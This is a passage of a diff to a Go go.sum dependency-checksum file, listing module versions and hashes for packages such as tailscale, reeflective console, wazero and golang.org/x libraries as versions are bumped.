github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/RrM=
|
||||
github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/ncruces/go-sqlite3 v0.7.2 h1:K7jU4rnUxFdUsbEL+B0Xc+VexLTEwGSO6Qh91Qh4hYc=
|
||||
github.com/ncruces/go-sqlite3 v0.7.2/go.mod h1:t3dP4AP9rJddU+ffFv0h6fWyeOCEhjxrYc1nsYG7aQI=
|
||||
github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk=
|
||||
github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g=
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
|
||||
github.com/ncruces/go-sqlite3 v0.20.3 h1:+4G4uEqOeusF0yRuQVUl9fuoEebUolwQSnBUjYBLYIw=
|
||||
github.com/ncruces/go-sqlite3 v0.20.3/go.mod h1:ojLIAB243gtz68Eo283Ps+k9PyR3dvzS+9/RgId4+AA=
|
||||
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
|
||||
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
||||
github.com/ncruces/julianday v1.0.0 h1:fH0OKwa7NWvniGQtxdJRxAgkBMolni2BjDHaWTxqt7M=
|
||||
github.com/ncruces/julianday v1.0.0/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
|
||||
github.com/pierrec/lz4/v4 v4.1.14/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
|
||||
github.com/pierrec/lz4/v4 v4.1.18 h1:xaKrnTkyoqfh1YItXl56+6KJNVYWlEEPuAQW9xsplYQ=
|
||||
github.com/pierrec/lz4/v4 v4.1.18/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
|
||||
github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ=
|
||||
github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
|
||||
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ=
|
||||
github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc=
|
||||
github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw=
|
||||
github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek=
|
||||
github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss=
|
||||
github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A=
|
||||
github.com/reeflective/console v0.1.15 h1:r4M1a19s882znSO5Zkj7memsLSDTLT/0fZwdNzhIldE=
|
||||
github.com/reeflective/console v0.1.15/go.mod h1:U2i+gzsZ5mT9LZHLzoeuOJ7BtcyXy7l+psRZSu4zmQU=
|
||||
github.com/reeflective/readline v1.0.14 h1:sgKLpi3figH8IcWx3Hu3rCeGJQ6W+6KtZ3PTdcAD3jA=
|
||||
github.com/reeflective/readline v1.0.14/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
@@ -361,6 +335,10 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
|
||||
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M=
|
||||
github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA=
|
||||
github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69 h1:ctOUuKn5PO6VtwtaS7unNrm6u20YXESPtnKEie/u304=
|
||||
github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o=
|
||||
github.com/rsteube/carapace-shlex v0.1.1 h1:fRQEBBKyYKm4TXUabm4tzH904iFWSmXJl3UZhMfQNYU=
|
||||
github.com/rsteube/carapace-shlex v0.1.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/safchain/ethtool v0.3.0 h1:gimQJpsI6sc1yIqP/y8GYgiXn/NjgvpM0RNoWLVVmP0=
|
||||
github.com/safchain/ethtool v0.3.0/go.mod h1:SA9BwrgyAqNo7M+uaL6IYbxpm5wk3L7Mm6ocLW+CJUs=
|
||||
@@ -368,9 +346,9 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
|
||||
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
|
||||
github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0=
|
||||
github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
|
||||
github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM=
|
||||
github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y=
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
@@ -381,42 +359,46 @@ github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UV
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff h1:vnxdYZUJbsSRcIcduDW3DcQqfqaiv4FUgy25q8X+vfI=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff/go.mod h1:XrBNfAFN+pwoWuksbFS9Ccxnopa15zJGgXRFN90l3K4=
|
||||
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231202035212-d3fa0460f47e h1:PtWT87weP5LWHEY//SWsYkSO3RWRZo4OSWagh3YD2vQ=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231202035212-d3fa0460f47e/go.mod h1:XrBNfAFN+pwoWuksbFS9Ccxnopa15zJGgXRFN90l3K4=
|
||||
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 h1:Gzfnfk2TWrk8Jj4P4c1a3CtQyMaTVCznlkLZI++hok4=
|
||||
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55/go.mod h1:4k4QO+dQ3R5FofL+SanAUZe+/QfeK0+OIuwDIRu2vSg=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e h1:JyeJF/HuSwvxWtsR1c0oKX1lzaSH5Wh4aX+MgiStaGQ=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e/go.mod h1:DjoeCULdP6vTJ/xY+nzzR9LaUHprkbZEpNidX0aqEEk=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20240108194725-7ce1f622c780 h1:U0J2CUrrTcc2wmr9tSLYEo+USfwNikRRsmxVLD4eZ7E=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20240108194725-7ce1f622c780/go.mod h1:ikbF+YT089eInTp9f2vmvy4+ZVnW5hzX1q2WknxSprQ=
|
||||
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 h1:4chzWmimtJPxRs2O36yuGRW3f9SYV+bMTTvMBI0EKio=
|
||||
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05/go.mod h1:PdCqy9JzfWMJf1H5UJW2ip33/d4YkoKN0r67yKH1mG8=
|
||||
github.com/tailscale/hujson v0.0.0-20221223112325-20486734a56a h1:SJy1Pu0eH1C29XwJucQo73FrleVK6t4kYz4NVhp34Yw=
|
||||
github.com/tailscale/hujson v0.0.0-20221223112325-20486734a56a/go.mod h1:DFSS3NAGHthKo1gTlmEcSBiZrRJXi28rLNd/1udP1c8=
|
||||
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 h1:zrsUcqrG2uQSPhaUPjUQwozcRdDdSxxqhNgNZ3drZFk=
|
||||
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85/go.mod h1:NzVQi3Mleb+qzq8VmcWpSkcSYxXIg0DkI6XDzpVkhJ0=
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20231114171715-25f8d12b3c2d h1:6bpLeKxSPVTwxzoy+0SrDLEaa60G6jnGqgLAcdDhkDg=
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20231114171715-25f8d12b3c2d/go.mod h1:agQPE6y6ldqCOui2gkIh7ZMztTkIQKH049tv8siLuNQ=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90 h1:lMGYrokOq9NKDw1UMBH7AsS4boZ41jcduvYaRIdedhE=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4=
|
||||
github.com/tailscale/peercred v0.0.0-20240214030740-b535050b2aa4 h1:Gz0rz40FvFVLTBk/K8UNAenb36EbDSnh+q7Z9ldcC8w=
|
||||
github.com/tailscale/peercred v0.0.0-20240214030740-b535050b2aa4/go.mod h1:phI29ccmHQBc+wvroosENp1IF9195449VDnFDhJ4rJU=
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20240226180453-5db17b287bf1 h1:tdUdyPqJ0C97SJfjB9tW6EylTtreyee9C44de+UBG0g=
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20240226180453-5db17b287bf1/go.mod h1:agQPE6y6ldqCOui2gkIh7ZMztTkIQKH049tv8siLuNQ=
|
||||
github.com/tailscale/wf v0.0.0-20240214030419-6fbb0a674ee6 h1:l10Gi6w9jxvinoiq15g8OToDdASBni4CyJOdHY1Hr8M=
|
||||
github.com/tailscale/wf v0.0.0-20240214030419-6fbb0a674ee6/go.mod h1:ZXRML051h7o4OcI0d3AaILDIad/Xw0IkXaHM17dic1Y=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20240429185444-03c5a0ccf754 h1:iazWjqVHE6CbNam7WXRhi33Qad5o7a8LVYgVoILpZdI=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20240429185444-03c5a0ccf754/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4=
|
||||
github.com/tailscale/xnet v0.0.0-20240117122442-62b9a7c569f9 h1:81P7rjnikHKTJ75EkjppvbwUfKHDHYk6LJpO5PZy8pA=
|
||||
github.com/tailscale/xnet v0.0.0-20240117122442-62b9a7c569f9/go.mod h1:orPd6JZXXRyuDusYilywte7k094d7dycXXU5YnWsrwg=
|
||||
github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
|
||||
github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
|
||||
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
|
||||
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
|
||||
github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM=
|
||||
github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
|
||||
github.com/tetratelabs/wazero v1.8.2 h1:yIgLR/b2bN31bjxwXHD8a3d+BogigR952csSDdLYEv4=
|
||||
github.com/tetratelabs/wazero v1.8.2/go.mod h1:yAI0XTsMBhREkM/YDAK/zNou3GoiAce1P6+rp/wQhjs=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
|
||||
github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg=
|
||||
github.com/u-root/u-root v0.11.0 h1:6gCZLOeRyevw7gbTwMj3fKxnr9+yHFlgF3N7udUVNO8=
|
||||
github.com/u-root/u-root v0.11.0/go.mod h1:DBkDtiZyONk9hzVEdB/PWI9B4TxDkElWlVTHseglrZY=
|
||||
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 h1:YcojQL98T/OO+rybuzn2+5KrD5dBwXIvYBvQ2cD3Avg=
|
||||
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63/go.mod h1:eLL9Nub3yfAho7qB0MzZizFhTU2QkLeoVsWdHtDW264=
|
||||
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
|
||||
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
|
||||
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
|
||||
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
|
||||
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
|
||||
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/things-go/go-socks5 v0.0.5 h1:qvKaGcBkfDrUL33SchHN93srAmYGzb4CxSM2DPYufe8=
|
||||
github.com/things-go/go-socks5 v0.0.5/go.mod h1:mtzInf8v5xmsBpHZVbIw2YQYhc4K0jRwzfsH64Uh0IQ=
|
||||
github.com/u-root/u-root v0.12.0 h1:K0AuBFriwr0w/PGS3HawiAw89e3+MU7ks80GpghAsNs=
|
||||
github.com/u-root/u-root v0.12.0/go.mod h1:FYjTOh4IkIZHhjsd17lb8nYW6udgXdJhG1c0r6u0arI=
|
||||
github.com/u-root/uio v0.0.0-20240118234441-a3c409a6018e h1:BA9O3BmlTmpjbvajAwzWx4Wo2TRVdpPXZEeemGQcajw=
|
||||
github.com/u-root/uio v0.0.0-20240118234441-a3c409a6018e/go.mod h1:eLL9Nub3yfAho7qB0MzZizFhTU2QkLeoVsWdHtDW264=
|
||||
github.com/ulikunitz/xz v0.5.12 h1:37Nm15o69RwBkXM0J6A5OlE67RZTfzUxTj8fB3dfcsc=
|
||||
github.com/ulikunitz/xz v0.5.12/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2 h1:Llsql0lnQEbHj0I1OuKyp8otXp0r3q0mPkuhwHfStVs=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2/go.mod h1:twkDnbuQxJYemMlGd4JFIcuhgX83tXhKS2B/PRMpOho=
|
||||
github.com/vishvananda/netns v0.0.0-20200728191858-db3c7e526aae/go.mod h1:DD4vA1DwXk04H54A1oHXtwZmA0grkVMdPxx/VGLCah0=
|
||||
@@ -437,23 +419,23 @@ go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9i
|
||||
go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI=
|
||||
go4.org/mem v0.0.0-20220726221520-4f986261bf13 h1:CbZeCBZ0aZj8EfVgnqQcYZgf0lpZ3H9rmp5nkDTAst8=
|
||||
go4.org/mem v0.0.0-20220726221520-4f986261bf13/go.mod h1:reUoABIJ9ikfM5sgtSF3Wushcza7+WeD01VB9Lirh3g=
|
||||
go4.org/netipx v0.0.0-20230824141953-6213f710f925 h1:eeQDDVKFkx0g4Hyy8pHgmZaK0EqB4SD6rvKbUdN3ziQ=
|
||||
go4.org/netipx v0.0.0-20230824141953-6213f710f925/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
|
||||
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
|
||||
golang.org/x/crypto v0.29.0 h1:L5SG1JTTXupVV3n6sUqMTeWbjAyfPwoda2DLX8J8FrQ=
|
||||
golang.org/x/crypto v0.29.0/go.mod h1:+F4F4N5hv6v38hfeYwTdx20oUvLLc+QfrE9Ax9HtgRg=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
|
||||
golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9 h1:j3D9DvWRpUfIyFfDPws7LoIZ2MAI1OJHdQXtTnYtN+k=
|
||||
golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk=
|
||||
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f h1:99ci1mjWVBWwJiEKYY6jWa4d2nTQVIEhZIptnrVb1XY=
|
||||
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f/go.mod h1:/lliqkxwWAhPjf5oSOIJup2XcqJaw8RGS6k3TGEc7GI=
|
||||
golang.org/x/exp/typeparams v0.0.0-20240119083558-1b970713d09a h1:8qmSSA8Gz/1kTrCe0nqR0R3Gb/NDhykzWw2q2mWZydM=
|
||||
golang.org/x/exp/typeparams v0.0.0-20240119083558-1b970713d09a/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk=
|
||||
golang.org/x/image v0.15.0 h1:kOELfmgrmJlw4Cdb7g/QGuB3CvDrXbqEIww/pNtNBm8=
|
||||
golang.org/x/image v0.15.0/go.mod h1:HUYqC05R2ZcZ3ejNQsIHQDQiwWM4JBqmm6MKANTp4LE=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
@@ -461,8 +443,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.13.0 h1:I/DsJXRlw/8l/0c24sM9yb0T4z9liZTduXvdAWYiysY=
|
||||
golang.org/x/mod v0.13.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
|
||||
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -472,16 +454,12 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL
|
||||
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
